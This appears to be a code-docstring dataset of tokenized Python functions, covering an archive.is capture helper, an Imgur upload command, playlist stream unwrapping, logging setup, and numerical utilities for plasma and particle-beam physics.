{"signature": "def capture(<EOL>target_url,<EOL>user_agent=\"<STR_LIT>\",<EOL>proxies={}<EOL>):", "body": "<EOL>domain = \"<STR_LIT>\"<EOL>save_url = urljoin(domain, \"<STR_LIT>\")<EOL>headers = {<EOL>'<STR_LIT>': user_agent,<EOL>\"<STR_LIT:host>\": \"<STR_LIT>\",<EOL>}<EOL>logger.debug(\"<STR_LIT>\".format(domain + \"<STR_LIT:/>\"))<EOL>get_kwargs = dict(<EOL>timeout=<NUM_LIT>,<EOL>allow_redirects=True,<EOL>headers=headers,<EOL>)<EOL>if proxies:<EOL><INDENT>get_kwargs['<STR_LIT>'] = proxies<EOL><DEDENT>response = requests.get(domain + \"<STR_LIT:/>\", **get_kwargs)<EOL>response.raise_for_status()<EOL>html = str(response.content)<EOL>try:<EOL><INDENT>unique_id = html.split('<STR_LIT>', <NUM_LIT:1>)[<NUM_LIT:1>].split('<STR_LIT>', <NUM_LIT:1>)[<NUM_LIT:1>].split('<STR_LIT:\">', <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>logger.debug(\"<STR_LIT>\".format(unique_id))<EOL><DEDENT>except IndexError:<EOL><INDENT>logger.warn(\"<STR_LIT>\")<EOL>unique_id = None<EOL><DEDENT>data = {<EOL>\"<STR_LIT:url>\": target_url,<EOL>\"<STR_LIT>\": <NUM_LIT:1>,<EOL>}<EOL>if unique_id:<EOL><INDENT>data.update({\"<STR_LIT>\": unique_id})<EOL><DEDENT>post_kwargs = dict(<EOL>timeout=<NUM_LIT>,<EOL>allow_redirects=True,<EOL>headers=headers,<EOL>data=data<EOL>)<EOL>if proxies:<EOL><INDENT>post_kwargs['<STR_LIT>'] = proxies<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(save_url))<EOL>response = requests.post(save_url, **post_kwargs)<EOL>response.raise_for_status()<EOL>if '<STR_LIT>' in response.headers:<EOL><INDENT>memento = str(response.headers['<STR_LIT>']).split('<STR_LIT>')[<NUM_LIT:1>]<EOL>logger.debug(\"<STR_LIT>\".format(memento))<EOL>return memento<EOL><DEDENT>if '<STR_LIT>' in response.headers:<EOL><INDENT>memento = response.headers['<STR_LIT>']<EOL>logger.debug(\"<STR_LIT>\".format(memento))<EOL>return memento<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>for i, r in enumerate(response.history):<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(i))<EOL>logger.debug(r.headers)<EOL>if '<STR_LIT>' in r.headers:<EOL><INDENT>memento = r.headers['<STR_LIT>']<EOL>logger.debug(\"<STR_LIT>\".format(i+<NUM_LIT:1>, memento))<EOL>return memento<EOL><DEDENT><DEDENT>logger.error(\"<STR_LIT>\")<EOL>logger.error(\"<STR_LIT>\".format(response.status_code))<EOL>logger.error(response.headers)<EOL>logger.error(response.text)<EOL>raise Exception(\"<STR_LIT>\")<EOL>", "docstring": "Archives the provided URL using archive.is\n\nReturns the URL where the capture is stored.", "id": "f12041:m0"}
{"signature": "@click.command()<EOL>@click.argument(\"<STR_LIT:url>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>def cli(url, user_agent):", "body": "kwargs = {}<EOL>if user_agent:<EOL><INDENT>kwargs['<STR_LIT>'] = user_agent<EOL><DEDENT>archive_url = capture(url, **kwargs)<EOL>click.echo(archive_url)<EOL>", "docstring": "Archives the provided URL using archive.is.", "id": "f12041:m1"}
{"signature": "@click.command()<EOL>@click.argument('<STR_LIT>', type=click.Path(exists=True))<EOL>def upload_gif(gif):", "body": "client_id = os.environ.get('<STR_LIT>')<EOL>client_secret = os.environ.get('<STR_LIT>')<EOL>if client_id is None or client_secret is None:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>return<EOL><DEDENT>client = ImgurClient(client_id, client_secret)<EOL>click.echo('<STR_LIT>'.format(click.format_filename(gif)))<EOL>response = client.upload_from_path(gif)<EOL>click.echo('<STR_LIT>'.format(response['<STR_LIT>']))<EOL>", "docstring": "Uploads an image file to Imgur", "id": "f12044:m0"}
{"signature": "def read(*paths):", "body": "with open(os.path.join(*paths), '<STR_LIT:r>') as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "Build a file path from *paths* and return the contents.", "id": "f12045:m0"}
{"signature": "def _unwrap_stream(uri, timeout, scanner, requests_session):", "body": "original_uri = uri<EOL>seen_uris = set()<EOL>deadline = time.time() + timeout<EOL>while time.time() < deadline:<EOL><INDENT>if uri in seen_uris:<EOL><INDENT>logger.info(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', uri)<EOL>return None<EOL><DEDENT>else:<EOL><INDENT>seen_uris.add(uri)<EOL><DEDENT>logger.debug('<STR_LIT>', uri)<EOL>try:<EOL><INDENT>scan_timeout = deadline - time.time()<EOL>if scan_timeout < <NUM_LIT:0>:<EOL><INDENT>logger.info(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', uri, timeout)<EOL>return None<EOL><DEDENT>scan_result = scanner.scan(uri, timeout=scan_timeout)<EOL><DEDENT>except exceptions.ScannerError as exc:<EOL><INDENT>logger.debug('<STR_LIT>', uri, exc)<EOL>scan_result = None<EOL><DEDENT>if scan_result is not None and not (<EOL>scan_result.mime.startswith('<STR_LIT>') or<EOL>scan_result.mime.startswith('<STR_LIT>')):<EOL><INDENT>logger.debug(<EOL>'<STR_LIT>', scan_result.mime, uri)<EOL>return uri<EOL><DEDENT>download_timeout = deadline - time.time()<EOL>if download_timeout < <NUM_LIT:0>:<EOL><INDENT>logger.info(<EOL>'<STR_LIT>',<EOL>uri, timeout)<EOL>return None<EOL><DEDENT>content = http.download(<EOL>requests_session, uri, timeout=download_timeout)<EOL>if content is None:<EOL><INDENT>logger.info(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', original_uri, uri)<EOL>return None<EOL><DEDENT>uris = playlists.parse(content)<EOL>if not uris:<EOL><INDENT>logger.debug(<EOL>'<STR_LIT>',<EOL>uri)<EOL>return uri<EOL><DEDENT>logger.debug(<EOL>'<STR_LIT>', uri, uris[<NUM_LIT:0>])<EOL>uri = uris[<NUM_LIT:0>]<EOL><DEDENT>", "docstring": "Get a stream URI from a playlist URI, ``uri``.\nUnwraps nested playlists until something that's not a playlist is found or\nthe ``timeout`` is reached.", "id": "f12051:m1"}
{"signature": "def mylogger(name=None, filename=None, indent_offset=<NUM_LIT:7>, level=_logging.DEBUG, stream_level=_logging.WARN, file_level=_logging.INFO):", "body": "if name is not None:<EOL><INDENT>logger = _logging.getLogger(name)<EOL><DEDENT>else:<EOL><INDENT>logger = _logging.getLogger()<EOL><DEDENT>logger.setLevel(level)<EOL>fmtr         = IndentFormatter(indent_offset=indent_offset)<EOL>fmtr_msgonly = IndentFormatter('<STR_LIT>')<EOL>ch = _logging.StreamHandler()<EOL>ch.setLevel(stream_level)<EOL>ch.setFormatter(fmtr_msgonly)<EOL>logger.addHandler(ch)<EOL>if filename is not None:<EOL><INDENT>debugh = _logging.FileHandler(filename='<STR_LIT>'.format(filename), mode='<STR_LIT:w>')<EOL>debugh.setLevel(_logging.DEBUG)<EOL>debugh.setFormatter(fmtr_msgonly)<EOL>logger.addHandler(debugh)<EOL>fh = _logging.FileHandler(filename='<STR_LIT>'.format(filename), mode='<STR_LIT:w>')<EOL>fh.setLevel(file_level)<EOL>fh.setFormatter(fmtr)<EOL>logger.addHandler(fh)<EOL><DEDENT>return logger<EOL>", "docstring": "Sets up logging to *filename*.debug.log, *filename*.log, and the terminal. *indent_offset* attempts to line up the lowest indent level to 0. Custom levels:\n\n* *level*: Parent logging level.\n* *stream_level*: Logging level for console stream.\n* *file_level*: Logging level for general file log.", "id": "f12056:m0"}
{"signature": "def frexp10(x):", "body": "expon = _np.int(_np.floor(_np.log10(_np.abs(x))))<EOL>mant = x/_np.power(<NUM_LIT:10>, expon)<EOL>return (mant, expon)<EOL>", "docstring": "Finds the mantissa and exponent of a number :math:`x` such that :math:`x = m 10^e`.\n\nParameters\n----------\n\nx : float\n    Number :math:`x` such that :math:`x = m 10^e`.\n\nReturns\n-------\n\nmantissa : float\n    Number :math:`m` such that :math:`x = m 10^e`.\nexponent : float\n    Number :math:`e` such that :math:`x = m 10^e`.", "id": "f12058:m0"}
{"signature": "def linspacestep(start, stop, step=<NUM_LIT:1>):", "body": "<EOL>numsteps = _np.int((stop-start)/step)<EOL>return _np.linspace(start, start+step*numsteps, numsteps+<NUM_LIT:1>)<EOL>", "docstring": "Create a vector of values over an interval with a specified step size.\n\nParameters\n----------\n\nstart : float\n    The beginning of the interval.\nstop : float\n    The end of the interval.\nstep : float\n    The step size.\n\nReturns\n-------\nvector : :class:`numpy.ndarray`\n    The vector of values.", "id": "f12059:m0"}
{"signature": "def gaussian(x, mu, sigma):", "body": "return _np.exp(-(x-mu)**<NUM_LIT:2>/(<NUM_LIT:2>*sigma**<NUM_LIT:2>)) / (_np.sqrt(<NUM_LIT:2>*_np.pi) * sigma)<EOL>", "docstring": "Gaussian function of the form :math:`\\\\frac{1}{\\\\sqrt{2 \\\\pi}\\\\sigma} e^{-\\\\frac{(x-\\\\mu)^2}{2\\\\sigma^2}}`.\n\n.. versionadded:: 1.5\n\nParameters\n----------\nx : float\n    Function variable :math:`x`.\nmu : float\n    Mean of the Gaussian function.\nsigma : float\n    Standard deviation of the Gaussian function.", "id": "f12060:m0"}
{"signature": "def linspaceborders(array):", "body": "<EOL>dela = array[<NUM_LIT:1>] - array[<NUM_LIT:0>]<EOL>new_arr = _np.array([array[<NUM_LIT:0>] - dela / <NUM_LIT:2>])<EOL>delb = array[-<NUM_LIT:1>] - array[-<NUM_LIT:2>]<EOL>array = _np.append(array, array[-<NUM_LIT:1>] + delb)<EOL>for i, val in enumerate(array):<EOL><INDENT>try:<EOL><INDENT>avg = (array[i] + array[i + <NUM_LIT:1>]) / <NUM_LIT:2><EOL>new_arr = _np.append(new_arr, avg)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return new_arr<EOL>", "docstring": "Generate a new array with numbers interpolated between the numbers of the input array. Extrapolates elements to the left and right sides to get the exterior border as well.\n\nParameters\n----------\n\narray : :class:`numpy.ndarray`\n    The original array.\n\nReturns\n-------\n\narray : :class:`numpy.ndarray`\n    The interpolated/extrapolated array.", "id": "f12063:m0"}
{"signature": "def keys(obj):", "body": "return [key for key in obj.keys()]<EOL>", "docstring": "Returns an array of strings of the keys like Python 2 used to do.\n\n.. versionadded:: 1.4\n\nParameters\n----------\n\nobj : object\n    Object to get keys from.\n\nReturns\n-------\n\nkeys : list\n    List of keys.", "id": "f12065:m0"}
{"signature": "def get(f, key, default=None):", "body": "if key in f.keys():<EOL><INDENT>val = f[key].value<EOL>if default is None:<EOL><INDENT>return val<EOL><DEDENT>else:<EOL><INDENT>if _np.shape(val) == _np.shape(default):<EOL><INDENT>return val<EOL><DEDENT><DEDENT><DEDENT>return default<EOL>", "docstring": "Gets an array from datasets.\n\n.. versionadded:: 1.4", "id": "f12065:m1"}
{"signature": "def curve_fit_unscaled(*args, **kwargs):", "body": "<EOL>verbose = kwargs.pop('<STR_LIT>', False)<EOL>popt, pcov = _spopt.curve_fit(*args, **kwargs)<EOL>func = args[<NUM_LIT:0>]<EOL>x    = args[<NUM_LIT:1>]<EOL>y    = args[<NUM_LIT:2>]<EOL>ddof = len(popt)<EOL>try:<EOL><INDENT>sigma = kwargs['<STR_LIT>']<EOL>if sigma is None:<EOL><INDENT>sigma = _np.ones(len(y))<EOL><DEDENT>y_expect = func(x, *popt)<EOL>chisq_red = _chisquare(y, y_expect, sigma, ddof, verbose=verbose)<EOL>pcov = pcov / chisq_red<EOL>return popt, pcov, chisq_red<EOL><DEDENT>except ValueError:<EOL><INDENT>print('<STR_LIT:hello>')<EOL><DEDENT>", "docstring": "Use the reduced chi square to unscale :mod:`scipy`'s scaled :func:`scipy.optimize.curve_fit`. *\\*args* and *\\*\\*kwargs* are passed through to :func:`scipy.optimize.curve_fit`. The tuple *popt, pcov, chisq_red* is returned, where *popt* is the optimal values for the parameters, *pcov* is the estimated covariance of *popt*, and *chisq_red* is the reduced chi square. See http://docs.scipy.org/doc/scipy-0.15.1/reference/generated/scipy.optimize.curve_fit.html.", "id": "f12066:m0"}
{"signature": "def chisquare(observe, expect, error, ddof, verbose=True):", "body": "chisq = <NUM_LIT:0><EOL>error   = error.flatten()<EOL>observe = observe.flatten()<EOL>expect  = expect.flatten()<EOL>for i, el in enumerate(observe):<EOL><INDENT>chisq = chisq + _np.power((el - expect[i]) / error[i], <NUM_LIT:2>)<EOL><DEDENT>red_chisq = chisq / (len(observe) - ddof)<EOL>if verbose:<EOL><INDENT>print('<STR_LIT>'.format(red_chisq))<EOL><DEDENT>return red_chisq<EOL>", "docstring": "Finds the reduced chi square difference of *observe* and *expect* with a given *error* and *ddof* degrees of freedom.\n\n*verbose* flag determines if the reduced chi square is printed to the terminal.", "id": "f12067:m0"}
{"signature": "@property<EOL><INDENT>def popt(self):<DEDENT>", "body": "return self._popt<EOL>", "docstring": "The fit parameters for the fit function.", "id": "f12070:c0:m1"}
{"signature": "@property<EOL><INDENT>def pcov(self):<DEDENT>", "body": "return self._pcov<EOL>", "docstring": "The covariance for the fit parameters.", "id": "f12070:c0:m2"}
{"signature": "@property<EOL><INDENT>def chisq_red(self):<DEDENT>", "body": "return self._chisq_red<EOL>", "docstring": "The reduced chi square.", "id": "f12070:c0:m3"}
{"signature": "@property<EOL><INDENT>def y_unweighted(self):<DEDENT>", "body": "return self._y_unweighted<EOL>", "docstring": "The :math:`y` of the problem :math:`X_{ij} \\\\beta_{i} = y_j`. Setting this attribute forces a recalculation.", "id": "f12071:c0:m2"}
{"signature": "@property<EOL><INDENT>def y_error(self):<DEDENT>", "body": "return self._y_error<EOL>", "docstring": "The measured error of :math:`y` of the problem :math:`X_{ij} \\\\beta_{i} = y_j`. Setting this attribute forces a recalculation.", "id": "f12071:c0:m4"}
{"signature": "@property<EOL><INDENT>def X_unweighted(self):<DEDENT>", "body": "return self._X_unweighted<EOL>", "docstring": "The :math:`X`. Setting this attribute forces a recalculation.", "id": "f12071:c0:m6"}
{"signature": "@property<EOL><INDENT>def X(self):<DEDENT>", "body": "if self._X is None:<EOL><INDENT>X = _copy.deepcopy(self.X_unweighted)<EOL>for i, el in enumerate(X):<EOL><INDENT>X[i, :] = el/self.y_error[i]<EOL><DEDENT>self._X = X<EOL><DEDENT>return self._X<EOL>", "docstring": "The :math:`X` weighted properly by the errors from *y_error*", "id": "f12071:c0:m8"}
{"signature": "@property<EOL><INDENT>def y(self):<DEDENT>", "body": "if self._y is None:<EOL><INDENT>self._y = self.y_unweighted/self.y_error<EOL><DEDENT>return self._y<EOL>", "docstring": "The :math:`X` weighted properly by the errors from *y_error*", "id": "f12071:c0:m9"}
{"signature": "@property<EOL><INDENT>def y_fit(self):<DEDENT>", "body": "if self._y_fit is None:<EOL><INDENT>self._y_fit = _np.dot(self.X_unweighted, self.beta)<EOL><DEDENT>return self._y_fit<EOL>", "docstring": "Using the result of the linear least squares, the result of :math:`X_{ij}\\\\beta_i`", "id": "f12071:c0:m10"}
{"signature": "@property<EOL><INDENT>def beta(self):<DEDENT>", "body": "if self._beta is None:<EOL><INDENT>self._beta = _np.dot(_np.linalg.pinv(self.X) , self.y)<EOL><DEDENT>return self._beta<EOL>", "docstring": "The result :math:`\\\\beta` of the linear least squares", "id": "f12071:c0:m11"}
{"signature": "@property<EOL><INDENT>def covar(self):<DEDENT>", "body": "if self._covar is None:<EOL><INDENT>self._covar = _np.linalg.inv(_np.dot(_np.transpose(self.X), self.X))<EOL><DEDENT>return self._covar<EOL>", "docstring": "The covariance matrix for the result :math:`\\\\beta`", "id": "f12071:c0:m12"}
{"signature": "@property<EOL><INDENT>def chisq_red(self):<DEDENT>", "body": "if self._chisq_red is None:<EOL><INDENT>self._chisq_red = chisquare(self.y_unweighted.transpose(), _np.dot(self.X_unweighted, self.beta), self.y_error, ddof=<NUM_LIT:3>, verbose=False)<EOL><DEDENT>return self._chisq_red<EOL>", "docstring": "The reduced chi-square of the linear least squares", "id": "f12071:c0:m13"}
{"signature": "def fft(values, freq=None, timestamps=None, fill_missing=False):", "body": "<EOL>if freq is None:<EOL><INDENT>from .. import qt<EOL>freq = qt.getDouble(title='<STR_LIT>', text='<STR_LIT>', min=<NUM_LIT:0>, decimals=<NUM_LIT:2>, value=<NUM_LIT:1.0>)<EOL>freq = freq.input<EOL><DEDENT>if fill_missing:<EOL><INDENT>(t_x, x_filled) = fill_missing_timestamps(timestamps, values)<EOL><DEDENT>else:<EOL><INDENT>x_filled = values<EOL><DEDENT>num_samples = _np.size(x_filled)<EOL>xfft = _sp.fftpack.rfft(x_filled)<EOL>factor = freq/num_samples<EOL>num_fft = _np.size(xfft)<EOL>f = factor * _np.linspace(<NUM_LIT:1>, num_fft, num_fft)<EOL>xpow = _np.abs(xfft*_np.conj(xfft))<EOL>xpow = xpow[<NUM_LIT:1>:]<EOL>f = f[<NUM_LIT:1>:]<EOL>return (f, xpow)<EOL>", "docstring": "Adds options to :func:`scipy.fftpack.rfft`:\n\n* *freq* is the frequency the samples were taken at\n* *timestamps* is the time the samples were taken, to help with filling in missing data if *fill_missing* is true", "id": "f12072:m0"}
{"signature": "@property<EOL><INDENT>def gamma(self):<DEDENT>", "body": "return _sltr.GeV2gamma(self.E)<EOL>", "docstring": "Relativistic :math:`\\\\gamma` of beam", "id": "f12073:c0:m1"}
{"signature": "@property<EOL><INDENT>def emit_n(self):<DEDENT>", "body": "return self.emit * self.gamma<EOL>", "docstring": "Normalized emittance of beam :math:`\\\\epsilon_n = \\\\gamma\\\\epsilon`", "id": "f12073:c0:m3"}
{"signature": "@property<EOL><INDENT>def emit(self):<DEDENT>", "body": "return self._emit<EOL>", "docstring": "Emittance of the beam, :math:`\\\\epsilon = \\\\sqrt{ \\\\langle x^2 \\\\rangle \\\\langle {x'}^2 \\\\rangle - \\\\langle x x' \\\\rangle^2 }`", "id": "f12073:c0:m5"}
{"signature": "@property<EOL><INDENT>def sigma(self):<DEDENT>", "body": "return _np.power(<NUM_LIT:2>*_sltr.GeV2joule(self.E)*_spc.epsilon_0 / (self.plasma.n_p * _np.power(_spc.elementary_charge, <NUM_LIT:2>)) , <NUM_LIT>) * _np.sqrt(self.emit)<EOL>", "docstring": "Spot size of matched beam :math:`\\\\left( \\\\frac{2 E \\\\varepsilon_0 }{ n_p e^2 } \\\\right)^{1/4} \\\\sqrt{\\\\epsilon}`", "id": "f12073:c0:m6"}
{"signature": "def beta(self, E):", "body": "return <NUM_LIT:1.0> / _np.sqrt(self.plasma.k_ion(E))<EOL>", "docstring": ":math:`\\\\beta` function of matched beam", "id": "f12073:c0:m7"}
{"signature": "@property<EOL><INDENT>def sigma_prime(self):<DEDENT>", "body": "return _np.sqrt(self.emit/self.beta(self.E))<EOL>", "docstring": "Divergence of matched beam", "id": "f12073:c0:m8"}
{"signature": "@property<EOL><INDENT>def gamma(self):<DEDENT>", "body": "return _sltr.GeV2gamma(self.E)<EOL>", "docstring": "Relativistic :math:`\\\\gamma` of beam", "id": "f12073:c1:m1"}
{"signature": "@property<EOL><INDENT>def emit_n(self):<DEDENT>", "body": "return self.emit * self.gamma<EOL>", "docstring": "Specified beam emittance :math:`\\\\epsilon`.", "id": "f12073:c1:m3"}
{"signature": "@emit_n.setter<EOL><INDENT>def emit_n(self, value):<DEDENT>", "body": "self.emit = value / self.gamma<EOL>", "docstring": "Specified normalized beam emittance :math:`\\\\gamma \\\\epsilon`.", "id": "f12073:c1:m4"}
{"signature": "@property<EOL><INDENT>def beta(self):<DEDENT>", "body": "return self.sigma**<NUM_LIT:2>/self.emit<EOL>", "docstring": "The Courant-Snyder parameter :math:`\\\\beta` that is matched.", "id": "f12073:c1:m5"}
{"signature": "@property<EOL><INDENT>def n_p(self):<DEDENT>", "body": "return <NUM_LIT:2>*_sltr.GeV2joule(self.E)*_spc.epsilon_0 / (self.beta*_spc.elementary_charge)**<NUM_LIT:2><EOL>", "docstring": "The plasma density in SI units.", "id": "f12073:c1:m6"}
{"signature": "@property<EOL><INDENT>def n_p_cgs(self):<DEDENT>", "body": "return self.n_p*<NUM_LIT><EOL>", "docstring": "The plasma density in CGS units.", "id": "f12073:c1:m7"}
{"signature": "@property<EOL><INDENT>def plasma(self, species=_pt.hydrogen):<DEDENT>", "body": "return _Plasma(self.n_p, species=species)<EOL>", "docstring": "The matched :class:`Plasma`.", "id": "f12073:c1:m8"}
{"signature": "@property<EOL><INDENT>def k_xi(self):<DEDENT>", "body": "return self._k_xi<EOL>", "docstring": "Ion focusing wavenumber :math:`k_\\\\xi`.", "id": "f12074:c0:m1"}
{"signature": "@property<EOL><INDENT>def phi(self):<DEDENT>", "body": "return self._phi<EOL>", "docstring": "Particle phases :math:`\\\\phi`.", "id": "f12074:c0:m2"}
{"signature": "@property<EOL><INDENT>def beam(self):<DEDENT>", "body": "return self._beam<EOL>", "docstring": "Initial beam object.", "id": "f12074:c0:m3"}
{"signature": "@property<EOL><INDENT>def plasma(self):<DEDENT>", "body": "return self._plasma<EOL>", "docstring": "Initial plasma object.", "id": "f12074:c0:m4"}
{"signature": "@property<EOL><INDENT>def s(self):<DEDENT>", "body": "return self._s<EOL>", "docstring": "Coordinates of beam (:math:`s`).", "id": "f12074:c0:m5"}
{"signature": "@property<EOL><INDENT>def x(self):<DEDENT>", "body": "return self._x<EOL>", "docstring": "Coordinates of beam (:math:`x`).", "id": "f12074:c0:m6"}
{"signature": "@property<EOL><INDENT>def xp(self):<DEDENT>", "body": "return self._xp<EOL>", "docstring": "Coordinates of beam (:math:`x'`).", "id": "f12074:c0:m7"}
{"signature": "@property<EOL><INDENT>def spotsq(self):<DEDENT>", "body": "return _np.mean(self.x**<NUM_LIT:2>, axis=<NUM_LIT:0>)<EOL>", "docstring": "The beam variance :math:`\\\\langle x^2 \\\\rangle`.", "id": "f12074:c0:m9"}
{"signature": "@property<EOL><INDENT>def divsq(self):<DEDENT>", "body": "return _np.mean(self.xp**<NUM_LIT:2>, axis=<NUM_LIT:0>)<EOL>", "docstring": "The beam divergence :math:`\\\\langle x'^2 \\\\rangle`.", "id": "f12074:c0:m10"}
{"signature": "@property<EOL><INDENT>def xxp(self):<DEDENT>", "body": "return _np.mean(self.x*self.xp, axis=<NUM_LIT:0>)<EOL>", "docstring": "The beam correlation :math:`\\\\langle x x' \\\\rangle`.", "id": "f12074:c0:m11"}
{"signature": "@property<EOL><INDENT>def emit_measured(self):<DEDENT>", "body": "return _np.sqrt(self.spotsq*self.divsq-self.xxp**<NUM_LIT:2>)<EOL>", "docstring": "The beam emittance :math:`\\\\langle x x' \\\\rangle`.", "id": "f12074:c0:m12"}
{"signature": "@property<EOL><INDENT>def nb0(self):<DEDENT>", "body": "return self.N_e / ( (<NUM_LIT:2>*_np.pi)**(<NUM_LIT:3>/<NUM_LIT:2>) * self.sig_r**<NUM_LIT:2> * self.sig_xi)<EOL>", "docstring": "On-axis beam density :math:`n_{b,0}`.", "id": "f12075:c0:m2"}
{"signature": "def lambda_large(self, r0):", "body": "return <NUM_LIT:2>*_np.sqrt(<NUM_LIT:2>*_np.pi/self.k)*r0<EOL>", "docstring": "The wavelength for large (:math:`r_0 < \\\\sigma_r`) oscillations.", "id": "f12075:c0:m3"}
{"signature": "def r_small(self, x, r0):", "body": "return r0*_np.cos(_np.sqrt(self.k_small) * x)<EOL>", "docstring": "Approximate trajectory function for small (:math:`r_0 < \\\\sigma_r`) oscillations.", "id": "f12075:c0:m4"}
{"signature": "def r_large(self, x, r0):", "body": "return r0*_np.cos(x*self.omega_big(r0))<EOL>", "docstring": "Approximate trajectory function for large (:math:`r_0 > \\\\sigma_r`) oscillations.", "id": "f12075:c0:m5"}
{"signature": "@property<EOL><INDENT>def k(self):<DEDENT>", "body": "try:<EOL><INDENT>return self._k<EOL><DEDENT>except AttributeError:<EOL><INDENT>self._k = e**<NUM_LIT:2> * self.N_e / ( (<NUM_LIT:2>*_np.pi)**(<NUM_LIT:5>/<NUM_LIT:2>) * e0 * self.m * c**<NUM_LIT:2> * self.sig_xi)<EOL>return self._k<EOL><DEDENT>", "docstring": "Driving force term: :math:`r'' = -k \\\\left( \\\\frac{1-e^{-r^2/2{\\\\sigma_r}^2}}{r} \\\\right)`", "id": "f12075:c0:m6"}
{"signature": "@property<EOL><INDENT>def k_small(self):<DEDENT>", "body": "return self.k / (<NUM_LIT:2>*self.sig_r**<NUM_LIT:2>)<EOL>", "docstring": "Small-angle driving force term: :math:`r'' = -k_{small} r`.\n\nNote: :math:`k_{small} = \\\\frac{k}{2{\\\\sigma_r^2}}`", "id": "f12075:c0:m7"}
{"signature": "@property<EOL><INDENT>def sig_r(self):<DEDENT>", "body": "return self._sig_r<EOL>", "docstring": "Transverse R.M.S. width", "id": "f12075:c0:m8"}
{"signature": "@property<EOL><INDENT>def species(self):<DEDENT>", "body": "return self._species<EOL>", "docstring": "The species of gas used (see :class:`periodictable.core.Element`).\n\nFor instance:\n\n    >>> periodictable.hydrogen", "id": "f12076:c0:m3"}
{"signature": "@property<EOL><INDENT>def dims(self):<DEDENT>", "body": "return self._dims<EOL>", "docstring": "Number of dimensions.", "id": "f12076:c0:m4"}
{"signature": "@property<EOL><INDENT>def lambda_small(self):<DEDENT>", "body": "return <NUM_LIT:2>*_np.pi/_np.sqrt(self.k_small)<EOL>", "docstring": "The wavelength for small (:math:`r_0 < \\\\sigma_r`) oscillations.", "id": "f12076:c0:m5"}
{"signature": "@property<EOL><INDENT>def m(self):<DEDENT>", "body": "return amu * self.species.mass<EOL>", "docstring": "Ion mass.", "id": "f12076:c0:m7"}
{"signature": "@property<EOL><INDENT>def A(self):<DEDENT>", "body": "return self.species.mass<EOL>", "docstring": "Ion mass in units of AMU.", "id": "f12076:c0:m8"}
{"signature": "@property<EOL><INDENT>def N_e(self):<DEDENT>", "body": "return self._N_e<EOL>", "docstring": "Number of electrons in bunch.", "id": "f12076:c0:m9"}
{"signature": "@property<EOL><INDENT>def sig_xi(self):<DEDENT>", "body": "return self._sig_xi<EOL>", "docstring": "Longitudinal R.M.S. width :math:`\\\\sigma_\\\\xi`.", "id": "f12076:c0:m10"}
{"signature": "def q(self, x, q0):", "body": "y1_0 = q0<EOL>y0_0 = <NUM_LIT:0><EOL>y0   = [y0_0, y1_0]<EOL>y = _sp.integrate.odeint(self._func, y0, x, Dfun=self._gradient, rtol=self.rtol, atol=self.atol)<EOL>return y[:, <NUM_LIT:1>]<EOL>", "docstring": "Numerically solved trajectory function for initial conditons :math:`q(0) = q_0` and :math:`q'(0) = 0`.", "id": "f12076:c0:m11"}
{"signature": "@property<EOL><INDENT>def nb0(self):<DEDENT>", "body": "return self._nb0<EOL>", "docstring": "On-axis beam density.", "id": "f12078:c0:m2"}
{"signature": "@property<EOL><INDENT>def E(self):<DEDENT>", "body": "return self._E<EOL>", "docstring": "Beam energy in GeV.", "id": "f12078:c0:m3"}
{"signature": "@property<EOL><INDENT>def dE(self):<DEDENT>", "body": "return self._dE<EOL>", "docstring": "Beam energy spread.", "id": "f12078:c0:m4"}
{"signature": "@property<EOL><INDENT>def emit(self):<DEDENT>", "body": "return self._emit<EOL>", "docstring": "Beam emittance :math:`\\\\epsilon`.", "id": "f12078:c0:m5"}
{"signature": "@property<EOL><INDENT>def emit_n(self):<DEDENT>", "body": "return self._emit*_sltr.GeV2gamma(self.E)<EOL>", "docstring": "Normalized beam emittance :math:`\\\\gamma \\\\epsilon`.", "id": "f12078:c0:m6"}
{"signature": "@property<EOL><INDENT>def s_r(self):<DEDENT>", "body": "return self._s_r<EOL>", "docstring": "The beam RMS width :math:`\\\\sigma_r`.", "id": "f12078:c1:m1"}
{"signature": "def set_moments(self, sx, sxp, sxxp):", "body": "self._sx   = sx<EOL>self._sxp  = sxp<EOL>self._sxxp = sxxp<EOL>emit = _np.sqrt(sx**<NUM_LIT:2> * sxp**<NUM_LIT:2> - sxxp**<NUM_LIT:2>)<EOL>self._store_emit(emit=emit)<EOL>", "docstring": "Sets the beam moments directly.\n\nParameters\n----------\nsx : float\n    Beam moment where :math:`\\\\text{sx}^2 = \\\\langle x^2 \\\\rangle`.\nsxp : float\n    Beam moment where :math:`\\\\text{sxp}^2 = \\\\langle x'^2 \\\\rangle`.\nsxxp : float\n    Beam moment where :math:`\\\\text{sxxp} = \\\\langle x x' \\\\rangle`.", "id": "f12078:c2:m1"}
{"signature": "@property<EOL><INDENT>def sx(self):<DEDENT>", "body": "return self._sx<EOL>", "docstring": "Beam moment where :math:`\\\\text{sx}^2 = \\\\langle x^2 \\\\rangle`.", "id": "f12078:c2:m2"}
{"signature": "@property<EOL><INDENT>def sxp(self):<DEDENT>", "body": "return self._sxp<EOL>", "docstring": "Beam moment where :math:`\\\\text{sxp}^2 = \\\\langle x'^2 \\\\rangle`.", "id": "f12078:c2:m3"}
{"signature": "@property<EOL><INDENT>def sxxp(self):<DEDENT>", "body": "return self._sxxp<EOL>", "docstring": "Beam moment where :math:`\\\\text{sxxp} = \\\\langle x x' \\\\rangle`.", "id": "f12078:c2:m4"}
